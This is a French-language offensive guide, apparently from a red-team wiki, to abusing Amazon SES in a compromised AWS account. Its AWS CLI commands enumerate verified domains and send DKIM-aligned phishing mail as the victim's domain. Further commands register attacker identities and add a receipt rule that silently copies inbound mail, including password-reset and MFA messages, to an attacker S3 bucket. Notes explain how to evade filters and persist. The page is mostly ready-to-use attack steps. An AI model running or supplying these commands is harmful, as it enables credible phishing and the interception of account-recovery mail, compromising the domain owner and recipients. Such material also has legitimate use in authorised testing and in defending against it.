Simple Email Service envoie du mail depuis les identités vérifiées du compte, des domaines et des adresses qui passent déjà SPF, DKIM et DMARC parce que la victime les a configurés. Avec ses:SendEmail (ou ses:SendRawEmail), vous envoyez du mail cryptographiquement aligné avec un domaine de confiance, ce qui est une position de phishing bien plus solide que n'importe quel sosie que vous pourriez enregistrer, et vous héritez de la réputation d'expédition rodée du compte et de son quota.
Trouver au nom de qui vous pouvez envoyer#
aws ses list-identities --identity-type Domain # verified domains
aws ses get-identity-verification-attributes --identities example.com
aws ses get-send-quota # daily cap and send rate
aws sesv2 get-account # sending enabled, reputation
Un domaine vérifié avec DKIM activé est le gros lot : le mail provenant de lui s'aligne pour DMARC.
Envoyer en tant que victime#
aws ses send-email \
--from "it-support@example.com" \
--destination "ToAddresses=target@example.com" \
--message 'Subject={Data=Action required},Body={Html={Data=<a href=https://phish.example>reset</a>}}'
# raw MIME for full header control (display name, Reply-To, attachments)
aws ses send-raw-email --raw-message Data=fileb://phish.eml
Vérifier votre propre identité#
Si le compte peut vérifier des identités, ajoutez-en une que vous contrôlez pour élargir au nom de qui vous pouvez envoyer et pour amorcer un chemin de réponse :
aws ses verify-email-identity --email-address collect@you.example
aws ses verify-domain-identity --domain you.example # returns a TXT token to publish
Intercepter le mail entrant#
Là où le domaine reçoit du mail via SES, une receipt rule classe les messages entrants vers une destination que vous contrôlez, ce qui transforme le compte en écoute de boîte aux lettres pour les réinitialisations de mot de passe et les mails MFA :
aws ses list-receipt-rule-sets ; aws ses describe-active-receipt-rule-set
# add a rule that copies inbound mail to an attacker S3 bucket (or Lambda/SNS)
aws ses create-receipt-rule --rule-set-name <active-set> \
--rule 'Name=tap,Enabled=true,Recipients=[target@example.com],Actions=[{S3Action={BucketName=<attacker-bucket>}}]'
Notes d'exploitation#
- Le mail part depuis les IP d'expédition AWS avec un DKIM valide pour le domaine : il franchit donc les filtres qui bloquent les expéditeurs externes usurpés.
- Une receipt rule entrante est une interception durable : elle continue de capturer le mail (y compris les messages de récupération de compte et MFA) jusqu'à ce qu'un opérateur audite l'ensemble de règles.
ses:SendRawEmaildonne un contrôle MIME complet ; définissez unReply-Toplausible que vous possédez pour collecter les réponses.- Si le compte est encore dans le sandbox SES, l'envoi est limité aux destinataires vérifiés ; vérifiez
get-accountet pivotez vers un compte en mode production s'il est en sandbox. - Des politiques d'autorisation sur une identité (
ses:SendEmailaccordé en cross-account) peuvent permettre à un point d'appui dans un compte d'envoyer au nom du domaine d'un autre.
Outils#
- AWS CLI (
ses send-email/send-raw-email) : l'envoi. - Pacu (
ses__enum) : énumérer les identités et l'état d'envoi.